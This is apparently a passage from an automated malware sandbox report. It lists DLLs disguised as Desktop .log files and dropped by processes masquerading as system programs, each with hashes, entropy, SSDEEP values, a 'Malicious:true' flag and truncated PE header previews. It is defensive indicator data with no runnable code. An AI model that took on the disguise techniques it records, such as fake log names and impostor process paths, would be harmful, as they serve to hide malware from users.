                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\TYnVXEze.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):33280
                                                                  Entropy (8bit):5.634433516692816
                                                                  Encrypted:false
                                                                  SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                                  MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                                  SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                                  SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                                  SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\VMrdIRuc.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):46592
                                                                  Entropy (8bit):5.870612048031897
                                                                  Encrypted:false
                                                                  SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                                  MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                                  SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                                  SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                                  SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\VrnUzURu.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):69632
                                                                  Entropy (8bit):5.932541123129161
                                                                  Encrypted:false
                                                                  SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                                  MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                                  SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                                  SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                                  SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                                  C:\Users\user\Desktop\WqYmKtXd.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):32256
                                                                  Entropy (8bit):5.631194486392901
                                                                  Encrypted:false
                                                                  SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                                  MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                                  SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                                  SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                                  SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\YAYKaqDh.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):23552
                                                                  Entropy (8bit):5.519109060441589
                                                                  Encrypted:false
                                                                  SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                                  MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                                  SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                                  SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                                  SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\YUdUknhP.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):294912
                                                                  Entropy (8bit):6.010605469502259
                                                                  Encrypted:false
                                                                  SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                                  MD5:00574FB20124EAFD40DC945EC86CA59C
                                                                  SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                                  SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                                  SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                                  C:\Users\user\Desktop\ZCiUQOvV.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):64000
                                                                  Entropy (8bit):5.857602289000348
                                                                  Encrypted:false
                                                                  SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                                  MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                                  SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                                  SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                                  SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\aViTseNl.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):126976
                                                                  Entropy (8bit):6.057993947082715
                                                                  Encrypted:false
                                                                  SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                                  MD5:16B480082780CC1D8C23FB05468F64E7
                                                                  SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                                  SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                                  SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                                  C:\Users\user\Desktop\anplGAHn.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):32256
                                                                  Entropy (8bit):5.631194486392901
                                                                  Encrypted:false
                                                                  SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                                  MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                                  SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                                  SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                                  SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\cqPBhmEa.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):39936
                                                                  Entropy (8bit):5.629584586954759
                                                                  Encrypted:false
                                                                  SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                                  MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                                  SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                                  SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                                  SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\csYLXLvO.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):50176
                                                                  Entropy (8bit):5.723168999026349
                                                                  Encrypted:false
                                                                  SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                                  MD5:2E116FC64103D0F0CF47890FD571561E
                                                                  SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                                  SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                                  SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\giPBeHvH.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):38912
                                                                  Entropy (8bit):5.679286635687991
                                                                  Encrypted:false
                                                                  SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                                  MD5:9E910782CA3E88B3F87826609A21A54E
                                                                  SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                                  SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                                  SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\hctSEgaX.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):64000
                                                                  Entropy (8bit):5.857602289000348
                                                                  Encrypted:false
                                                                  SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                                  MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                                  SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                                  SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                                  SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\iTuSlVGA.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):40448
                                                                  Entropy (8bit):5.7028690200758465
                                                                  Encrypted:false
                                                                  SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                                  MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                                  SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                                  SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                                  SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\jzkKkMJA.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):39936
                                                                  Entropy (8bit):5.629584586954759
                                                                  Encrypted:false
                                                                  SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                                  MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                                  SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                                  SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                                  SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\kpEaCKQF.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):126976
                                                                  Entropy (8bit):6.057993947082715
                                                                  Encrypted:false
                                                                  SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                                  MD5:16B480082780CC1D8C23FB05468F64E7
                                                                  SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                                  SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                                  SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                                  C:\Users\user\Desktop\lSjJLcbQ.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):34304
                                                                  Entropy (8bit):5.618776214605176
                                                                  Encrypted:false
                                                                  SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                                  MD5:9B25959D6CD6097C0EF36D2496876249
                                                                  SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                                  SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                                  SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\oJaATZbJ.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):40448
                                                                  Entropy (8bit):5.7028690200758465
                                                                  Encrypted:false
                                                                  SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                                  MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                                  SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                                  SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                                  SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\oVvrynel.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):39936
                                                                  Entropy (8bit):5.660491370279985
                                                                  Encrypted:false
                                                                  SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                                  MD5:240E98D38E0B679F055470167D247022
                                                                  SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                                  SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                                  SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\rOKZjkQk.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):36352
                                                                  Entropy (8bit):5.668291349855899
                                                                  Encrypted:false
                                                                  SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                                  MD5:94DA5073CCC14DCF4766DF6781485937
                                                                  SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                                  SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                                  SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\sRLquvOw.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):70144
                                                                  Entropy (8bit):5.909536568846014
                                                                  Encrypted:false
